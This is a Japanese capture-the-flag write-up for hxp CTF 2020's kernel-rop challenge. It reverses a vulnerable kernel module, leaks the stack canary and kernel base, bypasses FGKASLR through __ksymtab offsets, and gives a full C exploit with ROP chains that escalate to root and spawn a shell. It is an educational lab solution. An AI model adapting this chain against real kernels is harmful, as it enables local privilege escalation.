イントロ Link to this heading

いつぞや開催されたhxp CTF 2020。その pwn 問題であるkernel-ropを解いていく。kernel を起動した瞬間に vuln と topic をネタバレしていくスタイルだった。 そういえば、今月は自分の中で kernel-pwn 強化月間で、解くべき問題を募集しているので、これは面白いから解いてみろとか、これは為になるから見てみろとかあったら教えてください。

static Link to this heading

basic Link to this heading

basic.sh
 1/ $ cat /proc/version
 2Linux version 5.9.0-rc6+ (martin@martin) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils f0
 3/ $ lsmod
 4hackme 20480 0 - Live 0x0000000000000000 (O)
 5$ modinfo ./hackme.ko
 6filename:       /home/wataru/Documents/ctf/hxp2020/kernel-rop/work/./hackme.ko
 7version:        DEV
 8author:         Martin Radev <https://twitter.com/martin_b_radev>
 9description:    hackme
10license:        GPL
11srcversion:     838E71A30F4FFB7229182E4
12depends:
13retpoline:      Y
14name:           hackme
15vermagic:       5.9.0-rc6+ SMP mod_unload
16
17qemu-system-x86_64 \
18    -m 128M \
19    -cpu kvm64,+smep,+smap \
20    -kernel vmlinuz \
21    -initrd initramfs.cpio.gz \
22    -hdb flag.txt \
23    -snapshot \
24    -nographic \
25    -monitor /dev/null \
26    -no-reboot \
27    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・oops!->panic

vmlinuzを展開してvmlinuxにしたところ、以下のメッセージが出た。

too-many-section.sh
1$ file ./vmlinux
2./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)

too many section (36140)。カーネルイメージでtoo many sectionといえば、FGKASLRである。関数毎にセクションが用意されロード時にランダマイズされるため、関数ポインタの leak の殆どが無意味になる。

fgkaslr.sh
 1$ readelf -S ./vmlinux | grep kmem_cache
 2  [11414] .text.kmem_cache_ PROGBITS         ffffffff81643220  00843220
 3  [11448] .text.kmem_cache_ PROGBITS         ffffffff81644430  00844430
 4  [11449] .text.kmem_cache_ PROGBITS         ffffffff81644530  00844530
 5  [11457] .text.kmem_cache_ PROGBITS         ffffffff81644810  00844810
 6  [11458] .text.kmem_cache_ PROGBITS         ffffffff81644b00  00844b00
 7  [12494] .text.kmem_cache_ PROGBITS         ffffffff8169a1b0  0089a1b0
 8  [12536] .text.kmem_cache_ PROGBITS         ffffffff8169e710  0089e710
 9  [12537] .text.kmem_cache_ PROGBITS         ffffffff8169eb80  0089eb80
10  [12540] .text.kmem_cache_ PROGBITS         ffffffff8169f240  0089f240
11  [12541] .text.kmem_cache_ PROGBITS         ffffffff8169f6b0  0089f6b0
12  [12553] .text.kmem_cache_ PROGBITS         ffffffff816a0f70  008a0f70
13  [12557] .text.kmem_cache_ PROGBITS         ffffffff816a15b0  008a15b0
14  [12559] .text.kmem_cache_ PROGBITS         ffffffff816a1a00  008a1a00
15  [12561] .text.kmem_cache_ PROGBITS         ffffffff816a2020  008a2020

Module Link to this heading

おい、ソースないやんけ。その理由を書いた嘆願書も添付されてないやんけ。 hackmeという名前のmiscdeviceが登録される。

registered miscdevice

registered miscdevice

実装されている操作はopen/release/read/writeの 4 つ。さてリバースをしようと思い Ghidra を開いたら、Ghidra 君が全ての関数をデコンパイルすることを放棄してしまった。。。 これ、たまにある事象なので今度原因を調べる。それか IDA も使えるようにしておく。

見放さないでよ、Ghidraくん。。。

見放さないでよ、Ghidraくん。。。

まぁアセンブリを読めばいいだけなので問題はない。read/writeはおおよそ以下の疑似コードのようなことをしている。

read-write.c
 1write(struct file *filp, char *data, size_t size, loff_t off){
 2    if(size <= 0x1000){
 3        __check_object_size(hackme_buf, size, 0);
 4        if(_copy_from_user(hackme_buf, buf, sizse)){
 5            return -0xE;
 6        }
 7        memcpy($rsp-0x98, hackme_buf, size); // <-- VULN: なにしてんのお前???
 8        __stack_chk_fail();
 9    }else{
10        _warn_printk("Buffer_overflow_detected_(%d_<_%u)!", 0x1000, size);
11        __stack_chk_fail(); // canary @ $rbp-0x18
12        return -0xE;
13    }
14}
15read(struct file *filp, char *data, size_t size){
16    memcpy(hackme_buf, $rsp-0x98, size);    // <-- VULN: not initialized...
17    __check_object_size(hackme_buf, size, 1);
18    if(_copy_to_user(data, hackme_buf, size)){
19        return -0xE;
20    }
21    __stack_chk_fail(); // canary @ $rbp-0x18
22}

なんかもう、意味分からんことしてるな。FGKASLR のせいで GDB の表示もイカれてるし、しまいには Abort したわ。。。

GDB aborted&hellip;

GDB aborted…

まぁそれはいいとして、hackme_write()ではhackme_bufに読んだデータを、$rsp-0x98へとmemcpy()している。この際のサイズ制限は0x1000であるが、これだけのデータをスタックにコピーすると当然崩壊してしまう。だが、$rsp-0x18にカナリアが飼われており、これを崩さないようにしないと Oops する。また、hackme_read()においては$rsp-0x98からのデータをhackme_bufにコピーし、そのあとでhackme_bufをユーザランドにコピーしている。

Vuln Link to this heading

上のコードからも分かるとおり、スタックがかなりいじれる(R/W)。 但し、カナリアはいる。

Stack easily collapsed

Stack easily collapsed

leak canary Link to this heading

カナリアが飼われているものの、hackme_read()のチェックがガバガバのため、read に関しては思うがままにでき、よって容易にカナリアを leak できる。

canary-leak.c
1/** snippet **/
2  _read(fd, rbuf, 0x90);
3  printf("[+] canary: %lx\n", ((ulong*)rbuf)[0x80/8]);
4
5/** result **/
6/ # /tmp/exploit
7[+] canary: 32ce1536acf87a00
8/ #

kROP Link to this heading

これで canary が leak できたため、スタックを任意に書き換えることができるようになった。SMEP/SMAP ともに有効であるから、ユーザランドに飛ばすことはできない。また、FGKASLR が有効のためガジェットの位置がなかなか定まらない。FGKASLR が有効でもデータセクション及び一部の関数はランダマイズされないことは知っているが、そういったシンボルをどうやって見つければいいか分からなかった。

__ksymtab_xxx Link to this heading

ここでauthor’s writeup をカンニング。 __ksymtab_xxxエントリを leak すればいいらしい。そこで試しにkmem_cache_alloc()の情報を以下に挙げる。

kmem_cache_alloc_info.sh
1kernbase: 0xffffffff81000000
2kmem_cache_create: 0xffffffff81644b00
3__ksymtab_kmem_cache_create: 0xffffffff81f8b4b0
4__kstrtab_kmem_cache_create: 0xffffffff81fa61ea
5
6(gdb) x/4wx $ksymtab_kmem_cache_create
70xffffffff81f8b4b0:     0xff6b9650      0x0001ad36      0x0001988a

僕は__ksymtab_xxx各エントリには、シンボルのアドレス・__kstrtab_xxxへのポインタ・ネームスペースへのポインタがそれぞれ 0x8byte で入っているものと思っていたが、上を見る感じそうではない。どうやら、KASLR が利用できる arch においては、このパッチ でアドレスの代わりにオフセットを入れるようになったらしい。シンボルの各エントリは以下の構造を持ち、以下のようにして解決される。

include/linux/export.h
 1#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
 2#include <linux/compiler.h>
 3(snipped...)
 4#define __KSYMTAB_ENTRY(sym, sec)					\
 5	__ADDRESSABLE(sym)						\
 6	asm("	.section \"___ksymtab" sec "+" #sym "\", \"a\"	\n"	\
 7	    "	.balign	4					\n"	\
 8	    "__ksymtab_" #sym ":				\n"	\
 9	    "	.long	" #sym "- .				\n"	\
10	    "	.long	__kstrtab_" #sym "- .			\n"	\
11	    "	.long	__kstrtabns_" #sym "- .			\n"	\
12	    "	.previous					\n")
13
14struct kernel_symbol {
15	int value_offset;
16	int name_offset;
17	int namespace_offset;
18};
19#else
kernel/module.c
 1static unsigned long kernel_symbol_value(const struct kernel_symbol *sym)
 2{
 3#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
 4	return (unsigned long)offset_to_ptr(&sym->value_offset);
 5#else
 6	return sym->value;
 7#endif
 8}
 9
10static const char *kernel_symbol_name(const struct kernel_symbol *sym)
11{
12#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
13	return offset_to_ptr(&sym->name_offset);
14#else
15	return sym->name;
16#endif
17}
include/linux/compiler.h
1static inline void *offset_to_ptr(const int *off)
2{
3	return (void *)((unsigned long)off + *off);
4}

要は、そのエントリのアドレスに対してそのエントリの持つ値を足してやれば、そのエントリの示すシンボルのアドレス、および__kstrtab_xxxのアドレスになるというわけである。そして、幸いなことにこのエントリ達は readable なデータであり、FGKASLR の影響を受けない(KASLR の影響は受ける)。よって、この__ksymtab_xxxのアドレス、厳密にはこの配列のインデックスも固定であるためその内のどれか(一番最初のエントリはffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector)が分かれば FGKASLR を完全に無効化したことになる。

find not-randomized pointer to leak kernbase Link to this heading

だがまだ進捗は全く出ていない。この__ksymtab_xxxのアドレス自体を決定する必要がある。今回は最初スタックからしか leak できないため、この stack をとにかく血眼になってFGKASLR の影響を受けていないポインタを探す。以下のように、$RSP-38*0x8にあるポインタが KASLR 有効の状態で何回か試しても影響を受けていなかった。

Not-randomized pointers in stack

Not-randomized pointers in stack

これで、kernbase のリークができたことになる。すなわち、__ksymtab_xxxの全てのアドレスも leak できたことになる。

find gadget to leak the data of __ksymtab_xxx Link to this heading

さて、__ksymtab_xxxのアドレスが分かったが、今度はこの中身を抜くためのガジェットが必要になる。このガジェットも勿論、FGKASLR の影響を受けないような関数から取ってこなくてはならない。ROP 問って、ただガジェット探す時間が多くなるから嫌い。。。 ということで、 rp++ のラッパーとして FGKASLR に影響されないようなガジェットを探してくれるシンプルツールを書きました。まだまだバグだらけだけど、ゼロから探すよりかは 8 億倍楽だと思う。

これを使うと、以下のような感じで FGKASLR の影響を受けないシンボルだけを探してくれて:

wrapper of rp++ to find non-randomized symbols

wrapper of rp++ to find non-randomized symbols

実際に、これは FGKASLR の影響を受けていないことが分かる。こうなればあとは、ただの kROP 問題になる。

Actually the symbols found by neorp++ are not affected by FGKASLR

Actually the symbols found by neorp++ are not affected by FGKASLR

これを使って、gadget を探して以下のような chain を組んだ。

chain-to-leak-ksymtab.asm
 1  // leak symbols from __ksymtab_xxx
 2  save_state();
 3  ulong *c = &wbuf[CANARY_OFF];
 4  memset(wbuf, 'A', 0x200);
 5  *c++ = canary;
 6  *c++ = '1'; // rbx
 7  *c++ = '2'; // r12
 8  *c++ = '3'; // rbp
 9  *c++ = kernbase + 0x4D11; // pop rax
10  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
11  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
12  *c++ = 'A'; // rbp
13  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
14  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
15    *c++ = 'A' + ix + 1;
16  *c++ = &NIRUGIRI;
17  *c++ = user_cs;
18  *c++ = user_rflags;
19  *c++ = user_sp;
20  *c++ = user_ss;
21  _write(fd, wbuf, 0x130);

すると、iretqの直前には以下のようになって、ちゃんとことNIRUGIRI()に帰れることがわかる。(因みに、なんでか上手くユーザランドに帰れなくて小一時間ほど時間を浪費してしまったが、結局_write()で書き込むバイト数が足りておらず、user_ss等を書き込めていなかったことが原因だった)

Successful iretq

Successful iretq

但し、まだ NIRUGIRI をするには早すぎる。一回の kROP でできることは一つの leak だけだから、これを複数回繰り返して leak を行う。具体的には leak するシンボルは、commit_credsprepare_kernel_commitである。current_taskに関しては FGKASLR の影響を受けないため問題ない。

get ROOT Link to this heading

上の方法でcommit_creds()prepare_kernel_commit()を leak したら、同様に neorop++ で FGKASLR に影響されないガジェットを探し、あとは全く同じ方法でcommit_creds(prepare_kernel_commit(0))をするだけである。最後の着地点はユーザランドのシェルを実行する関数にすれば良い。`

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29#include <sys/shm.h>
 30
 31
 32// commands
 33#define DEV_PATH "/dev/hackme"   // the path the device is placed
 34
 35// constants
 36#define PAGE 0x1000
 37#define FAULT_ADDR 0xdead0000
 38#define FAULT_OFFSET PAGE
 39#define MMAP_SIZE 4*PAGE
 40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 41// (END constants)
 42
 43// globals
 44// (END globals)
 45
 46
 47// utils
 48#define WAIT getc(stdin);
 49#define REP(N) for(int iiiiix=0;iiiiix!=N;++iiiiix)
 50#define ulong unsigned long
 51#define scu static const unsigned long
 52#define NULL (void*)0
 53#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 54                        } while (0)
 55#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 56                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 57ulong user_cs,user_ss,user_sp,user_rflags;
 58struct pt_regs {
 59	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 60	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 61	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 62	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 63  ulong sp; ulong ss;
 64};
 65void print_regs(struct pt_regs *regs)
 66{
 67  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 68  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 69  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 70  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 71  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 72}
 73void NIRUGIRI(void)
 74{
 75  printf("[!!!] NIRUGIRI!!!\n");
 76  char *argv[] = {"/bin/sh",NULL};
 77  char *envp[] = {NULL};
 78  execve("/bin/sh",argv,envp);
 79}
 80// should compile with -masm=intel
 81static void save_state(void) {
 82  asm(
 83      "movq %0, %%cs\n"
 84      "movq %1, %%ss\n"
 85      "movq %2, %%rsp\n"
 86      "pushfq\n"
 87      "popq %3\n"
 88      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 89  printf("[+] save_state: cs:%lx ss:%lx sp:%lx rflags:%lx\n", user_cs, user_ss, user_sp, user_rflags);
 90}
 91
 92static void shellcode(void){
 93  asm(
 94    "xor rdi, rdi\n"
 95    "mov rbx, QWORD PTR [rsp+0x50]\n"
 96    "sub rbx, 0x244566\n"
 97    "mov rcx, rbx\n"
 98    "call rcx\n"
 99    "mov rdi, rax\n"
100    "sub rbx, 0x470\n"
101    "call rbx\n"
102    "add rsp, 0x20\n"
103    "pop rbx\n"
104    "pop r12\n"
105    "pop r13\n"
106    "pop r14\n"
107    "pop r15\n"
108    "pop rbp\n"
109    "ret\n"
110  );
111}
112// (END utils)
113
114// hackme
115int _write(int fd, char *buf, uint size){
116  assert(fd > 0);
117  int res = write(fd, buf, size);
118  assert(res >= 0);
119  return res;
120}
121int _read(int fd, char *buf, uint size){
122  assert(fd > 0);
123  int res = read(fd, buf, size);
124  assert(res >= 0);
125  return res;
126}
127// (END hackme)
128
129#define CANARY_OFF 0x80
130#define RBP_OFF 0x98
131int fd;
132ulong kernbase;
133ulong commit_creds, prepare_kernel_cred, current_task;
134ulong canary;
135char rbuf[0x200];
136char wbuf[0x200];
137
138void level3(void){
139  ulong ret;
140  asm(
141      "movq %0, %%rax\n"
142      : "=r"(ret)
143  );
144  const ulong my_special_cred = ret;
145  printf("[!] reached Level-3\n");
146  printf("[!] my_special_cred: 0x%lx\n", my_special_cred);
147
148  // into level4
149  save_state();
150  ulong *c = &wbuf[CANARY_OFF];
151  memset(wbuf, 'A', 0x200);
152  *c++ = canary;
153  *c++ = '1'; // rbx
154  *c++ = '2'; // r12
155  *c++ = '3'; // rbp
156  *c++ = kernbase + 0x006370; // pop rdi
157  *c++ = my_special_cred;
158  *c++ = commit_creds;
159  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
160  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
161    *c++ = 'A' + ix + 1;
162  *c++ = &NIRUGIRI;
163  *c++ = user_cs;
164  *c++ = user_rflags;
165  *c++ = user_sp;
166  *c++ = user_ss;
167  _write(fd, wbuf, 0x130);
168
169  errExit("level3");
170}
171
172void level2(void){
173  ulong ret;
174  asm(
175      "movq %0, %%rax\n"
176      : "=r"(ret)
177  );
178  prepare_kernel_cred = (signed long)kernbase + (signed long)0xf8d4fc + (signed int)ret;
179  printf("[!] reached Level-2\n");
180  printf("[!] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
181
182  // into level3
183  save_state();
184  ulong *c = &wbuf[CANARY_OFF];
185  memset(wbuf, 'A', 0x200);
186  *c++ = canary;
187  *c++ = '1'; // rbx
188  *c++ = '2'; // r12
189  *c++ = '3'; // rbp
190  *c++ = kernbase + 0x006370; // pop rdi
191  *c++ = 0;
192  *c++ = prepare_kernel_cred;
193  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
194  printf("[!!!] 0x%lx\n", *(c-1));;
195  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
196    *c++ = 'A' + ix + 1;
197  *c++ = &level3;
198  *c++ = user_cs;
199  *c++ = user_rflags;
200  *c++ = user_sp;
201  *c++ = user_ss;
202  _write(fd, wbuf, 0x130);
203
204  errExit("level2");
205}
206
207void level1(void){
208  ulong ret;
209  asm(
210      "movq %0, %%rax\n"
211      : "=r"(ret)
212  );
213  commit_creds = (signed long)kernbase + (signed long)0xf87d90 + (signed int)ret;
214  printf("[!] reached Level-1\n");
215  printf("[!] commit_creds: 0x%lx\n", commit_creds);
216
217  // into level2
218  save_state();
219  ulong *c = &wbuf[CANARY_OFF];
220  memset(wbuf, 'A', 0x200);
221  *c++ = canary;
222  *c++ = '1'; // rbx
223  *c++ = '2'; // r12
224  *c++ = '3'; // rbp
225  *c++ = kernbase + 0x4D11; // pop rax
226  *c++ = kernbase + 0xf8d4fc; // __ksymtab_prepare_kernel_cred
227  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
228  *c++ = 'A'; // rbp
229  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
230  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
231    *c++ = 'A' + ix + 1;
232  *c++ = &level2;
233  *c++ = user_cs;
234  *c++ = user_rflags;
235  *c++ = user_sp;
236  *c++ = user_ss;
237  _write(fd, wbuf, 0x130);
238
239  errExit("level1");
240}
241
242int main(int argc, char *argv[]) {
243  printf("[.] NIRUGIRI @ %p\n", &NIRUGIRI);
244  printf("[.] level1 @ %p\n", &level1);
245  memset(wbuf, 'A', 0x200);
246  memset(rbuf, 'B', 0x200);
247  fd = open(DEV_PATH, O_RDWR);
248  assert(fd > 0);
249
250  // leak canary and kernbase
251  _read(fd, rbuf, 0x1a0);
252  canary = ((ulong*)rbuf)[0x10/8];
253  printf("[+] canary: %lx\n", canary);
254  kernbase = ((ulong*)rbuf)[38] - ((ulong)0xffffffffb080a157 - (ulong)0xffffffffb0800000);
255  printf("[!] kernbase: 0x%lx\n", kernbase);
256
257  // leak symbols from __ksymtab_xxx
258  save_state();
259  ulong *c = &wbuf[CANARY_OFF];
260  memset(wbuf, 'A', 0x200);
261  *c++ = canary;
262  *c++ = '1'; // rbx
263  *c++ = '2'; // r12
264  *c++ = '3'; // rbp
265  *c++ = kernbase + 0x4D11; // pop rax
266  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
267  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
268  *c++ = 'A'; // rbp
269  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
270  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
271    *c++ = 'A' + ix + 1;
272  *c++ = &level1;
273  *c++ = user_cs;
274  *c++ = user_rflags;
275  *c++ = user_sp;
276  *c++ = user_ss;
277  _write(fd, wbuf, 0x130);
278
279  errExit("main");
280  return 0;
281}
282
283/* gad go home
284ffffffff81200f23:       59                      pop    rcx
285ffffffff81200f24:       5a                      pop    rdx
286ffffffff81200f25:       5e                      pop    rsi
287ffffffff81200f26:       48 89 e7                mov    rdi,rsp
288ffffffff81200f29:       65 48 8b 24 25 04 60    mov    rsp,QWORD PTR gs:0x6004
289ffffffff81200f30:       00 00
290ffffffff81200f32:       ff 77 30                push   QWORD PTR [rdi+0x30]
291ffffffff81200f35:       ff 77 28                push   QWORD PTR [rdi+0x28]
292ffffffff81200f38:       ff 77 20                push   QWORD PTR [rdi+0x20]
293ffffffff81200f3b:       ff 77 18                push   QWORD PTR [rdi+0x18]
294ffffffff81200f3e:       ff 77 10                push   QWORD PTR [rdi+0x10]
295ffffffff81200f41:       ff 37                   push   QWORD PTR [rdi]
296ffffffff81200f43:       50                      push   rax
297ffffffff81200f44:       eb 43                   jmp    ffffffff81200f89 <_stext+0x200f89>
298ffffffff81200f46:       0f 20 df                mov    rdi,cr3
299ffffffff81200f49:       eb 34                   jmp    ffffffff81200f7f <_stext+0x200f7f>
300*/

アウトロ Link to this heading

FGKASLR を kROP で bypass する、為になる良い問題でした。

symbols without KASLR Link to this heading

symbols.txt
1hackme_buf: 0xffffffffc0002440

信じられるものは、.bss/.data だけ。アンパンマンと一緒だね。

参考 Link to this heading